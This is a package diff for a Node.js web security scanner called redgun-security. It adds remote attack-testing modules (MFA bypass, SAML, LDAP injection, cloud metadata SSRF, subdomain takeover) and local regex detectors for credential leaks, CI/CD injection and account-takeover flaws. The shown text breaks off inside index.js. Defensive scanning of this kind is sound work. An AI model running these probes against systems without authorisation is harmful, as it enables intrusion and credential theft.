redgun-security 1.1.0 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -1
- package/bin/redgun.js +1 -1
- package/package.json +1 -1
- package/scan.js +9 -0
- package/src/core/reporter/console.js +1 -1
- package/src/core/reporter/html.js +1 -1
- package/src/local/ato.js +72 -0
- package/src/local/cicd.js +69 -0
- package/src/local/cloud.js +73 -0
- package/src/local/csrf.js +75 -0
- package/src/local/index.js +24 -8
- package/src/local/ldap.js +67 -0
- package/src/local/mobile.js +71 -0
- package/src/local/saml.js +72 -0
- package/src/local/web3.js +73 -0
- package/src/remote/advanced.js +238 -0
package/README.md
CHANGED
|
@@ -17,7 +17,6 @@
|
|
|
17
17
|
<a href="https://github.com/aloc999/redgun/blob/main/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue" alt="License"></a>
|
|
18
18
|
<img src="https://img.shields.io/badge/node-%3E%3D18-green" alt="Node">
|
|
19
19
|
<img src="https://img.shields.io/badge/modules-51-ff4444" alt="Modules">
|
|
20
|
-
<img src="https://img.shields.io/badge/HackTricks-Enhanced-critical" alt="HackTricks">
|
|
21
20
|
</p>
|
|
22
21
|
|
|
23
22
|
<br>
|
package/bin/redgun.js
CHANGED
|
@@ -19,7 +19,7 @@ const program = new Command();
|
|
|
19
19
|
|
|
20
20
|
program
|
|
21
21
|
.name('redgun')
|
|
22
|
-
.description('Black-box & white-box security auditor for web applications (
|
|
22
|
+
.description('Black-box & white-box security auditor for web applications (Enhanced)')
|
|
23
23
|
.version('1.0.0');
|
|
24
24
|
|
|
25
25
|
program
|
package/package.json
CHANGED
package/scan.js
CHANGED
|
@@ -4,6 +4,7 @@ import { EXPOSED_FILES, HEADER_CHECKS, COMMON_SUBDOMAINS, COMMON_PORTS, SECRET_P
|
|
|
4
4
|
import { runCrawler } from './src/remote/crawler.js';
|
|
5
5
|
import { runProbe } from './src/remote/probe.js';
|
|
6
6
|
import { scanXxeRemote, scanOauthRemote, scanAccessControlRemote, scanWebCacheDeception, scanParameterPollution, scanFileUpload, scanDomBased, scanHttp2 } from './src/remote/portswigger.js';
|
|
7
|
+
import { scanSamlRemote, scanLdapRemote, scanMfaBypass, scanWebsocketReplay, scanPasswordReset, scanCsrfRemote, scanDanglingDns, scanCloudRemote } from './src/remote/advanced.js';
|
|
7
8
|
|
|
8
9
|
export async function runRemoteScan(url, spinner, modules = null) {
|
|
9
10
|
const target = new URL(url);
|
|
@@ -46,6 +47,14 @@ export async function runRemoteScan(url, spinner, modules = null) {
|
|
|
46
47
|
{ name: 'File Upload Testing (PortSwigger)', value: 'upload', fn: () => scanFileUpload(origin, spinner) },
|
|
47
48
|
{ name: 'DOM-Based Vulnerabilities (PortSwigger)', value: 'dom', fn: () => scanDomBased(origin, spinner) },
|
|
48
49
|
{ name: 'HTTP/2 Attacks (PortSwigger)', value: 'h2', fn: () => scanHttp2(origin, spinner) },
|
|
50
|
+
{ name: 'SAML/SSO Attacks', value: 'saml', fn: () => scanSamlRemote(origin, spinner) },
|
|
51
|
+
{ name: 'LDAP Injection', value: 'ldap', fn: () => scanLdapRemote(origin, spinner) },
|
|
52
|
+
{ name: 'MFA Bypass Testing', value: 'mfa', fn: () => scanMfaBypass(origin, spinner) },
|
|
53
|
+
{ name: 'WebSocket Replay/CSWSH', value: 'wshijack', fn: () => scanWebsocketReplay(origin, spinner) },
|
|
54
|
+
{ name: 'Password Reset Security', value: 'pwdreset', fn: () => scanPasswordReset(origin, spinner) },
|
|
55
|
+
{ name: 'CSRF Token Analysis (remote)', value: 'csrf', fn: () => scanCsrfRemote(origin, spinner) },
|
|
56
|
+
{ name: 'Subdomain Takeover (Dangling DNS)', value: 'takeover', fn: () => scanDanglingDns(hostname, spinner) },
|
|
57
|
+
{ name: 'Cloud Metadata SSRF', value: 'cloudmeta', fn: () => scanCloudRemote(origin, spinner) },
|
|
49
58
|
];
|
|
50
59
|
|
|
51
60
|
const toRun = modules ? allModules.filter((m) => modules.includes(m.value)) : allModules;
|
|
@@ -19,7 +19,7 @@ export function printBanner() {
|
|
|
19
19
|
██║ ██║███████╗██████╔╝╚██████╔╝╚██████╔╝██║ ╚████║
|
|
20
20
|
╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝
|
|
21
21
|
`));
|
|
22
|
-
console.log(chalk.gray(' Black-box & white-box security auditor |
|
|
22
|
+
console.log(chalk.gray(' Black-box & white-box security auditor | Enhanced\n'));
|
|
23
23
|
}
|
|
24
24
|
|
|
25
25
|
export function printResults() {
|
|
@@ -89,7 +89,7 @@ export function exportHtml(outputDir = './scans') {
|
|
|
89
89
|
<h2>Findings (${findings.length} total)</h2>
|
|
90
90
|
${findingsHtml}
|
|
91
91
|
<div class="footer">
|
|
92
|
-
<p>RedGun Security Scanner v1.
|
|
92
|
+
<p>RedGun Security Scanner v1.1.0 | Enhanced</p>
|
|
93
93
|
</div>
|
|
94
94
|
</div>
|
|
95
95
|
</body>
|
package/src/local/ato.js
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
import { readFileSync, readdirSync, statSync } from 'fs';
|
|
2
|
+
import { join, extname } from 'path';
|
|
3
|
+
import { addFinding } from '../core/findings.js';
|
|
4
|
+
|
|
5
|
+
const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.py', '.rb', '.php', '.go', '.java'];
|
|
6
|
+
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor'];
|
|
7
|
+
|
|
8
|
+
export async function auditAto(projectPath, spinner) {
|
|
9
|
+
spinner.text = 'Scanning for Account Takeover patterns...';
|
|
10
|
+
const files = getFiles(projectPath);
|
|
11
|
+
|
|
12
|
+
for (const file of files) {
|
|
13
|
+
try {
|
|
14
|
+
const content = readFileSync(file, 'utf-8');
|
|
15
|
+
const relativePath = file.replace(projectPath, '.');
|
|
16
|
+
const lines = content.split('\n');
|
|
17
|
+
|
|
18
|
+
const patterns = [
|
|
19
|
+
{ pattern: /(?:password|pwd).*reset.*token\s*=\s*(?:Math\.random|Date\.now|uuid|random)/gi, name: 'Password reset token from predictable source', severity: 'CRITICAL' },
|
|
20
|
+
{ pattern: /reset.*token\s*=\s*(?:hash|md5|sha1)\s*\(/gi, name: 'Reset token hashed with weak algorithm', severity: 'MEDIUM' },
|
|
21
|
+
{ pattern: /reset.*token\s*.*(?:url|link|href).*\$\{.*token/gi, name: 'Reset token exposed in URL (referer leakage)', severity: 'HIGH' },
|
|
22
|
+
{ pattern: /(?:email|phone)\s*.*\s*change.*\s*\((?!.*confirm|verify|reauth|password)/gi, name: 'Email/phone change without re-authentication', severity: 'HIGH' },
|
|
23
|
+
{ pattern: /logout\s*\([^)]*\)\s*\{[^}]*(?:session\.destroy|clearCookie|cookie.*clear)/gi, name: 'Logout implementation (check server-side invalidation)', severity: 'INFO' },
|
|
24
|
+
{ pattern: /(?:session|token|jwt)\s*.*\s*(?:invalidation|revoke|blacklist|expire|expiry)/gi, name: 'Session/token revocation', severity: 'INFO' },
|
|
25
|
+
{ pattern: /otp\s*.*generate.*\s*=\s*(?:Math\.floor|Math\.random|random)/gi, name: 'OTP from predictable source', severity: 'CRITICAL' },
|
|
26
|
+
{ pattern: /otp.*length\s*[<=]?\s*[0-5]/gi, name: 'Short OTP length (< 6 digits)', severity: 'HIGH' },
|
|
27
|
+
{ pattern: /otp.*(?:expir|ttl|validity|valid.*for).*[>=]?\s*(?:60\d|7\d|8\d|9\d)\d*/gi, name: 'Long OTP validity (> 10 min)', severity: 'MEDIUM' },
|
|
28
|
+
{ pattern: /(?:login|auth|signin)\s*.*\s*attempt.*\s*=\s*0/gi, name: 'Rate limit on login (good)', severity: 'INFO' },
|
|
29
|
+
{ pattern: /(?:password|credential|account|login).*(?:lock|throttle|attempt|brute|restrict|limit)/gi, name: 'Account lockout/throttling detected', severity: 'INFO' },
|
|
30
|
+
{ pattern: /(?:social|oauth|google|github|facebook).*(?:link|connect|attach).*(?!.*confirm|verify|reauth)/gi, name: 'Social account linking without re-auth', severity: 'HIGH' },
|
|
31
|
+
{ pattern: /(?:MFA|2FA|two.?factor|multi.?factor).*(?:skip|disabled?|bypass|false)/gi, name: 'MFA skip/bypass condition', severity: 'CRITICAL' },
|
|
32
|
+
{ pattern: /(?:MFA|2FA).*\..*secret.*\s*=.*['"][a-zA-Z0-9]{10,}['"]/gi, name: 'MFA secret hardcoded', severity: 'CRITICAL' },
|
|
33
|
+
{ pattern: /(?:register|signup|create).*(?:duplicate|exist|unique).*email|username/gi, name: 'User enumeration via register endpoint', severity: 'MEDIUM' },
|
|
34
|
+
{ pattern: /(?:login|signin).*(?:incorrect|wrong|invalid|not found).*(?:password|email)/gi, name: 'User enumeration via verbose login errors', severity: 'MEDIUM' },
|
|
35
|
+
{ pattern: /res\.sendStatus\s*\(\s*401|res\.json.*invalid.*credentials/gi, name: 'Generic error handling (good for preventing enumeration)', severity: 'INFO' },
|
|
36
|
+
];
|
|
37
|
+
|
|
38
|
+
for (const { pattern, name, severity } of patterns) {
|
|
39
|
+
let match;
|
|
40
|
+
while ((match = pattern.exec(content)) !== null) {
|
|
41
|
+
const lineNum = content.substring(0, match.index).split('\n').length;
|
|
42
|
+
const line = lines[lineNum - 1]?.trim() || '';
|
|
43
|
+
if (line.startsWith('//') || line.startsWith('#') || line.startsWith('*')) continue;
|
|
44
|
+
|
|
45
|
+
addFinding(
|
|
46
|
+
severity,
|
|
47
|
+
'Account Takeover (ATO)',
|
|
48
|
+
name,
|
|
49
|
+
`File: ${relativePath}:${lineNum}\nCode: ${line.substring(0, 120)}`,
|
|
50
|
+
'Use crypto.randomBytes for reset tokens. Expire tokens quickly (< 15 min). Require current password to change email/password or link social accounts. Use TOTP-based MFA (not SMS). Use generic error messages. Implement proper rate limiting and account lockout (not just IP-based).'
|
|
51
|
+
);
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
} catch {}
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
function getFiles(dir, files = []) {
|
|
59
|
+
try {
|
|
60
|
+
const entries = readdirSync(dir);
|
|
61
|
+
for (const entry of entries) {
|
|
62
|
+
if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
|
|
63
|
+
const fullPath = join(dir, entry);
|
|
64
|
+
try {
|
|
65
|
+
const stat = statSync(fullPath);
|
|
66
|
+
if (stat.isDirectory()) getFiles(fullPath, files);
|
|
67
|
+
else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 512 * 1024) files.push(fullPath);
|
|
68
|
+
} catch {}
|
|
69
|
+
}
|
|
70
|
+
} catch {}
|
|
71
|
+
return files;
|
|
72
|
+
}
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
import { readFileSync, readdirSync, statSync } from 'fs';
|
|
2
|
+
import { join, extname } from 'path';
|
|
3
|
+
import { addFinding } from '../core/findings.js';
|
|
4
|
+
|
|
5
|
+
const SCAN_EXTENSIONS = ['.yml', '.yaml', '.js', '.ts', '.sh', '.bash'];
|
|
6
|
+
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor'];
|
|
7
|
+
|
|
8
|
+
export async function auditCicd(projectPath, spinner) {
|
|
9
|
+
spinner.text = 'Scanning for CI/CD pipeline vulnerabilities...';
|
|
10
|
+
const files = getFiles(projectPath);
|
|
11
|
+
|
|
12
|
+
for (const file of files) {
|
|
13
|
+
try {
|
|
14
|
+
const content = readFileSync(file, 'utf-8');
|
|
15
|
+
const relativePath = file.replace(projectPath, '.');
|
|
16
|
+
const lines = content.split('\n');
|
|
17
|
+
|
|
18
|
+
const patterns = [
|
|
19
|
+
{ pattern: /pull_request_target/gi, name: 'pull_request_target event (injection risk)', severity: 'CRITICAL' },
|
|
20
|
+
{ pattern: /pull_request_target.*(?:checkout|run:|script:|exec|execute)/gi, name: 'pull_request_target with code execution', severity: 'CRITICAL' },
|
|
21
|
+
{ pattern: /on:\s*pull_request_target.*workflow_run/gi, name: 'workflow_run from fork PR (injection)', severity: 'CRITICAL' },
|
|
22
|
+
{ pattern: /\$\{\{\s*github\.event\.pull_request\.(?:title|body|head\.ref)\s*\}\}/gi, name: 'GitHub Actions - PR body/title used unsafely', severity: 'CRITICAL' },
|
|
23
|
+
{ pattern: /run:.*\${{.*github\.event\.|run:.*\${{.*inputs\./gi, name: 'GitHub Actions - user input in run step', severity: 'CRITICAL' },
|
|
24
|
+
{ pattern: /secrets\.\w+\s*:\s*\$\{\{\s*inputs\./gi, name: 'Secrets exposed via workflow inputs', severity: 'HIGH' },
|
|
25
|
+
{ pattern: /(?:ACCESS_TOKEN|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIALS)\s*:\s*\$\{\{\s*secrets\./gi, name: 'Secrets in workflow environment', severity: 'INFO' },
|
|
26
|
+
{ pattern: /actions\/checkout@v\d\s*$|[^/]checkout\s*:/gi, name: 'Repository checkout', severity: 'INFO' },
|
|
27
|
+
{ pattern: /jenkins.*pipeline|Jenkinsfile/gi, name: 'Jenkins pipeline', severity: 'INFO' },
|
|
28
|
+
{ pattern: /stage\s*\(\s*['"]Deploy|publish|release/gi, name: 'CI deployment stage', severity: 'INFO' },
|
|
29
|
+
{ pattern: /docker.*build.*push|docker.*image|container.*registry/gi, name: 'Container build and push', severity: 'INFO' },
|
|
30
|
+
{ pattern: /gitlab-ci\.yml|\.gitlab-ci/gi, name: 'GitLab CI configuration', severity: 'INFO' },
|
|
31
|
+
{ pattern: /(?:npm|pip|maven|gradle|docker|helm)\s*(?:publish|push|deploy)/gi, name: 'Package/docker publish step', severity: 'INFO' },
|
|
32
|
+
{ pattern: /needs:\s*\[.*build.*\]\s*$|if:\s*github\.ref\s*==\s*'refs\/heads\/(?:main|master)'/gi, name: 'CI gate on main branch', severity: 'INFO' },
|
|
33
|
+
{ pattern: /write\s*:\s*\[\s*['"]id-token['"]\s*\]|id-token\s*:\s*write/gi, name: 'OIDC token write permission', severity: 'MEDIUM' },
|
|
34
|
+
{ pattern: /actions\s*:\s*read.*contents:\s*write|actions: write/gi, name: 'Elevated pipeline permissions', severity: 'HIGH' },
|
|
35
|
+
{ pattern: /(?:fetch-depth|filter)\s*:\s*0/gi, name: 'Full git history fetched', severity: 'LOW' },
|
|
36
|
+
];
|
|
37
|
+
|
|
38
|
+
for (const { pattern, name, severity } of patterns) {
|
|
39
|
+
let match;
|
|
40
|
+
while ((match = pattern.exec(content)) !== null) {
|
|
41
|
+
const lineNum = content.substring(0, match.index).split('\n').length;
|
|
42
|
+
addFinding(
|
|
43
|
+
severity,
|
|
44
|
+
'CI/CD Pipeline',
|
|
45
|
+
name,
|
|
46
|
+
`File: ${relativePath}:${lineNum}\nCode: ${lines[lineNum - 1]?.trim().substring(0, 120)}`,
|
|
47
|
+
'Never use pull_request_target with untrusted code execution. Sanitize all github.event fields used in scripts. Use OIDC instead of long-lived secrets. Apply least-privilege GitHub token permissions. Use environment protection rules for deployments.'
|
|
48
|
+
);
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
} catch {}
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function getFiles(dir, files = []) {
|
|
56
|
+
try {
|
|
57
|
+
const entries = readdirSync(dir);
|
|
58
|
+
for (const entry of entries) {
|
|
59
|
+
if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
|
|
60
|
+
const fullPath = join(dir, entry);
|
|
61
|
+
try {
|
|
62
|
+
const stat = statSync(fullPath);
|
|
63
|
+
if (stat.isDirectory()) getFiles(fullPath, files);
|
|
64
|
+
else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 256 * 1024) files.push(fullPath);
|
|
65
|
+
} catch {}
|
|
66
|
+
}
|
|
67
|
+
} catch {}
|
|
68
|
+
return files;
|
|
69
|
+
}
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
import { readFileSync, readdirSync, statSync } from 'fs';
|
|
2
|
+
import { join, extname } from 'path';
|
|
3
|
+
import { addFinding } from '../core/findings.js';
|
|
4
|
+
|
|
5
|
+
const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.py', '.rb', '.tf', '.hcl', '.yml', '.yaml', '.json'];
|
|
6
|
+
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor'];
|
|
7
|
+
|
|
8
|
+
export async function auditCloud(projectPath, spinner) {
|
|
9
|
+
spinner.text = 'Scanning for cloud misconfigurations...';
|
|
10
|
+
const files = getFiles(projectPath);
|
|
11
|
+
|
|
12
|
+
for (const file of files) {
|
|
13
|
+
try {
|
|
14
|
+
const content = readFileSync(file, 'utf-8');
|
|
15
|
+
const relativePath = file.replace(projectPath, '.');
|
|
16
|
+
const lines = content.split('\n');
|
|
17
|
+
|
|
18
|
+
const patterns = [
|
|
19
|
+
{ pattern: /"Effect"\s*:\s*"Allow"\s*,\s*"Principal"\s*:\s*"\*"/gi, name: 'S3 bucket policy - public access (Principal: *)', severity: 'CRITICAL' },
|
|
20
|
+
{ pattern: /"Effect"\s*:\s*"Allow"\s*,\s*"Principal"\s*:\s*{?\s*"AWS"\s*:\s*"\*"/gi, name: 'AWS IAM policy - public access', severity: 'CRITICAL' },
|
|
21
|
+
{ pattern: /s3:GetObject.*Principal.*\*/gi, name: 'S3 GetObject public access', severity: 'CRITICAL' },
|
|
22
|
+
{ pattern: /s3:PutObject.*Principal.*\*/gi, name: 'S3 PutObject public access (critical!)', severity: 'CRITICAL' },
|
|
23
|
+
{ pattern: /block_public_acls\s*=\s*false|blockPublicPolicy\s*:\s*false/gi, name: 'S3 public access block disabled', severity: 'CRITICAL' },
|
|
24
|
+
{ pattern: /access_key\s*=\s*['"][A-Za-z0-9+\/=]{20}['"]/gi, name: 'AWS access key in config', severity: 'CRITICAL' },
|
|
25
|
+
{ pattern: /secret_key\s*=\s*['"][A-Za-z0-9+\/=]{40}['"]/gi, name: 'AWS secret key in config', severity: 'CRITICAL' },
|
|
26
|
+
{ pattern: /primary_access_key|primary_secret_key/gi, name: 'Cloud access keys in source', severity: 'CRITICAL' },
|
|
27
|
+
{ pattern: /metadata.*169\.254|instance.?metadata/gi, name: 'Cloud metadata endpoint reference', severity: 'INFO' },
|
|
28
|
+
{ pattern: /"Action"\s*:\s*"\*:"\s*,\s*"Resource"\s*:\s*"\*"/gi, name: 'IAM policy - wildcard action + resource', severity: 'CRITICAL' },
|
|
29
|
+
{ pattern: /"NotAction"|"NotResource"/gi, name: 'IAM NotAction/NotResource (check for over-permissiveness)', severity: 'MEDIUM' },
|
|
30
|
+
{ pattern: /GCP_CREDENTIALS|GOOGLE_APPLICATION_CREDENTIALS|gcp\.json|service\.account/gi, name: 'GCP service account credentials', severity: 'CRITICAL' },
|
|
31
|
+
{ pattern: /AZURE_STORAGE_CONNECTION_STRING|AZURE_CLIENT_SECRET|ARM_CLIENT_SECRET/gi, name: 'Azure credentials in source', severity: 'CRITICAL' },
|
|
32
|
+
{ pattern: /terraform\.tfstate|backend\.tf/gi, name: 'Terraform state reference', severity: 'HIGH' },
|
|
33
|
+
{ pattern: /(?:bucket|container)\s*.*acl\s*.*public-read/gi, name: 'Storage bucket with public-read ACL', severity: 'CRITICAL' },
|
|
34
|
+
{ pattern: /(?:lambda|function_url).*auth_type\s*=\s*"NONE"/gi, name: 'AWS Lambda function URL without auth', severity: 'HIGH' },
|
|
35
|
+
{ pattern: /(?:publicly_readable|publicly_writable)\s*=\s*true/gi, name: 'GCP bucket publicly accessible', severity: 'CRITICAL' },
|
|
36
|
+
{ pattern: /(?:monitoring|logging|audit.?log)\s*.*(?:disabled?|false)/gi, name: 'Cloud logging/monitoring disabled', severity: 'MEDIUM' },
|
|
37
|
+
];
|
|
38
|
+
|
|
39
|
+
for (const { pattern, name, severity } of patterns) {
|
|
40
|
+
let match;
|
|
41
|
+
while ((match = pattern.exec(content)) !== null) {
|
|
42
|
+
const lineNum = content.substring(0, match.index).split('\n').length;
|
|
43
|
+
const line = lines[lineNum - 1]?.trim() || '';
|
|
44
|
+
if (line.startsWith('//') || line.startsWith('#') || line.startsWith('*')) continue;
|
|
45
|
+
|
|
46
|
+
addFinding(
|
|
47
|
+
severity,
|
|
48
|
+
'Cloud Misconfig (S3/IAM)',
|
|
49
|
+
name,
|
|
50
|
+
`File: ${relativePath}:${lineNum}\nCode: ${line.substring(0, 120)}`,
|
|
51
|
+
'Follow least privilege principle. Never use wildcard (*) for IAM actions/resources. Block all public S3 bucket access by default. Use IAM roles, not access keys. Enable CloudTrail logging. Store secrets in AWS Secrets Manager / GCP Secret Manager / Azure Key Vault.'
|
|
52
|
+
);
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
} catch {}
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
function getFiles(dir, files = []) {
|
|
60
|
+
try {
|
|
61
|
+
const entries = readdirSync(dir);
|
|
62
|
+
for (const entry of entries) {
|
|
63
|
+
if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
|
|
64
|
+
const fullPath = join(dir, entry);
|
|
65
|
+
try {
|
|
66
|
+
const stat = statSync(fullPath);
|
|
67
|
+
if (stat.isDirectory()) getFiles(fullPath, files);
|
|
68
|
+
else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 512 * 1024) files.push(fullPath);
|
|
69
|
+
} catch {}
|
|
70
|
+
}
|
|
71
|
+
} catch {}
|
|
72
|
+
return files;
|
|
73
|
+
}
|
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
import { readFileSync, readdirSync, statSync } from 'fs';
|
|
2
|
+
import { join, extname } from 'path';
|
|
3
|
+
import { addFinding } from '../core/findings.js';
|
|
4
|
+
|
|
5
|
+
const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.py', '.rb', '.php', '.go', '.java'];
|
|
6
|
+
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor'];
|
|
7
|
+
|
|
8
|
+
export async function auditCsrf(projectPath, spinner) {
|
|
9
|
+
spinner.text = 'Analyzing CSRF token implementation...';
|
|
10
|
+
const files = getFiles(projectPath);
|
|
11
|
+
let hasCsrfLib = false;
|
|
12
|
+
let hasSameSite = false;
|
|
13
|
+
|
|
14
|
+
for (const file of files) {
|
|
15
|
+
try {
|
|
16
|
+
const content = readFileSync(file, 'utf-8');
|
|
17
|
+
const relativePath = file.replace(projectPath, '.');
|
|
18
|
+
const lines = content.split('\n');
|
|
19
|
+
|
|
20
|
+
if (/csurf|csrf|lusca|csrf-token|csrf_token/i.test(content)) hasCsrfLib = true;
|
|
21
|
+
if (/sameSite\s*[:=]\s*['"](?:strict|lax)['"]/i.test(content)) hasSameSite = true;
|
|
22
|
+
|
|
23
|
+
const patterns = [
|
|
24
|
+
{ pattern: /(?:csrf|_token).*\s*=\s*(?:Math\.random|Date\.now|uuid)/gi, name: 'CSRF token from predictable source', severity: 'HIGH' },
|
|
25
|
+
{ pattern: /(?:csrf|token).*\s*=\s*['"][a-zA-Z0-9]{1,8}['"]/gi, name: 'Short CSRF token (< 8 chars, brute-forceable)', severity: 'HIGH' },
|
|
26
|
+
{ pattern: /csrf\s*=\s*(?:null|undefined|false|skip|disabled?)/gi, name: 'CSRF protection disabled', severity: 'HIGH' },
|
|
27
|
+
{ pattern: /(?:bypass|ignore|skip).*csrf/gi, name: 'CSRF bypass condition', severity: 'MEDIUM' },
|
|
28
|
+
{ pattern: /csrf\s*\(\)\s*:\s*(?:false|disabled)/gi, name: 'CSRF middleware disabled', severity: 'HIGH' },
|
|
29
|
+
{ pattern: /sameSite\s*[:=]\s*['"]none['"]/gi, name: 'SameSite=None with Secure flag?', severity: 'LOW' },
|
|
30
|
+
{ pattern: /X-CSRF-Token|X-CSRFToken|X-XSRF-TOKEN/gi, name: 'CSRF token in custom header (SOP-safe)', severity: 'INFO' },
|
|
31
|
+
{ pattern: /csrf\s*:\s*false/gi, name: 'CSRF explicitly disabled', severity: 'CRITICAL' },
|
|
32
|
+
{ pattern: /csrf\s*\(\s*\)\s*\{[^}]*ignore:/gi, name: 'CSRF with ignore list', severity: 'MEDIUM' },
|
|
33
|
+
{ pattern: /csrf.*ignoreMethods\s*:\s*\[['"]GET['"]\s*,\s*['"]HEAD['"]/gi, name: 'CSRF ignores GET/HEAD (standard)', severity: 'INFO' },
|
|
34
|
+
];
|
|
35
|
+
|
|
36
|
+
for (const { pattern, name, severity } of patterns) {
|
|
37
|
+
let match;
|
|
38
|
+
while ((match = pattern.exec(content)) !== null) {
|
|
39
|
+
const lineNum = content.substring(0, match.index).split('\n').length;
|
|
40
|
+
addFinding(
|
|
41
|
+
severity,
|
|
42
|
+
'CSRF Analysis',
|
|
43
|
+
name,
|
|
44
|
+
`File: ${relativePath}:${lineNum}\nCode: ${lines[lineNum - 1]?.trim().substring(0, 100)}`,
|
|
45
|
+
'Use cryptographically secure random CSRF tokens (64+ bits). Use SameSite=Lax or Strict cookies. Send CSRF tokens in custom headers (not cookies). Use Double Submit Cookie pattern: match cookie & header token values.'
|
|
46
|
+
);
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
} catch {}
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
if (!hasCsrfLib) {
|
|
53
|
+
addFinding('HIGH', 'CSRF Analysis', 'No CSRF library detected', 'No CSRF protection package (csurf, csrf, lusca) found in code', 'Install csurf/lusca and add CSRF middleware to all state-changing routes');
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
if (!hasSameSite) {
|
|
57
|
+
addFinding('LOW', 'CSRF Analysis', 'No SameSite cookie attribute configured', 'SameSite not set on session cookies', 'Set SameSite=Lax or SameSite=Strict on session cookies');
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
function getFiles(dir, files = []) {
|
|
62
|
+
try {
|
|
63
|
+
const entries = readdirSync(dir);
|
|
64
|
+
for (const entry of entries) {
|
|
65
|
+
if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
|
|
66
|
+
const fullPath = join(dir, entry);
|
|
67
|
+
try {
|
|
68
|
+
const stat = statSync(fullPath);
|
|
69
|
+
if (stat.isDirectory()) getFiles(fullPath, files);
|
|
70
|
+
else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 512 * 1024) files.push(fullPath);
|
|
71
|
+
} catch {}
|
|
72
|
+
}
|
|
73
|
+
} catch {}
|
|
74
|
+
return files;
|
|
75
|
+
}
|
package/src/local/index.js
CHANGED
|
@@ -16,6 +16,14 @@ import { auditXxe } from './xxe.js';
|
|
|
16
16
|
import { auditAccessControl } from './access-control.js';
|
|
17
17
|
import { auditOauth } from './oauth.js';
|
|
18
18
|
import { auditBusinessLogic } from './business-logic.js';
|
|
19
|
+
import { auditSaml } from './saml.js';
|
|
20
|
+
import { auditLdap } from './ldap.js';
|
|
21
|
+
import { auditCsrf } from './csrf.js';
|
|
22
|
+
import { auditAto } from './ato.js';
|
|
23
|
+
import { auditCloud } from './cloud.js';
|
|
24
|
+
import { auditCicd } from './cicd.js';
|
|
25
|
+
import { auditMobile } from './mobile.js';
|
|
26
|
+
import { auditWeb3 } from './web3.js';
|
|
19
27
|
|
|
20
28
|
export const LOCAL_MODULES = [
|
|
21
29
|
{ name: 'Code Secrets', value: 'secrets', fn: auditSecrets },
|
|
@@ -24,18 +32,26 @@ export const LOCAL_MODULES = [
|
|
|
24
32
|
{ name: 'Code Vulnerabilities (SQLi, XSS)', value: 'codevuln', fn: auditCodeVulnerabilities },
|
|
25
33
|
{ name: 'Auth & Middleware', value: 'auth', fn: auditAuth },
|
|
26
34
|
{ name: 'Headers Config (CSP/HSTS)', value: 'headers', fn: auditHeadersConfig },
|
|
27
|
-
{ name: 'SSRF Detection
|
|
28
|
-
{ name: 'SSTI Detection
|
|
29
|
-
{ name: 'Insecure Deserialization
|
|
30
|
-
{ name: 'Prototype Pollution
|
|
31
|
-
{ name: 'JWT Vulnerabilities
|
|
32
|
-
{ name: 'Path Traversal / LFI
|
|
33
|
-
{ name: 'Command Injection
|
|
34
|
-
{ name: 'Weak Cryptography
|
|
35
|
+
{ name: 'SSRF Detection', value: 'ssrf', fn: auditSsrf },
|
|
36
|
+
{ name: 'SSTI Detection', value: 'ssti', fn: auditSsti },
|
|
37
|
+
{ name: 'Insecure Deserialization', value: 'deser', fn: auditDeserialization },
|
|
38
|
+
{ name: 'Prototype Pollution', value: 'proto', fn: auditPrototypePollution },
|
|
39
|
+
{ name: 'JWT Vulnerabilities', value: 'jwt', fn: auditJwt },
|
|
40
|
+
{ name: 'Path Traversal / LFI', value: 'lfi', fn: auditPathTraversal },
|
|
41
|
+
{ name: 'Command Injection', value: 'cmdi', fn: auditCommandInjection },
|
|
42
|
+
{ name: 'Weak Cryptography', value: 'crypto', fn: auditCrypto },
|
|
35
43
|
{ name: 'XXE - XML External Entity (PortSwigger)', value: 'xxe', fn: auditXxe },
|
|
36
44
|
{ name: 'Access Control / IDOR (PortSwigger)', value: 'idor', fn: auditAccessControl },
|
|
37
45
|
{ name: 'OAuth / OIDC Flaws (PortSwigger)', value: 'oauth', fn: auditOauth },
|
|
38
46
|
{ name: 'Business Logic Flaws (PortSwigger)', value: 'bizlogic', fn: auditBusinessLogic },
|
|
47
|
+
{ name: 'SAML / SSO Attacks', value: 'saml', fn: auditSaml },
|
|
48
|
+
{ name: 'LDAP Injection', value: 'ldap', fn: auditLdap },
|
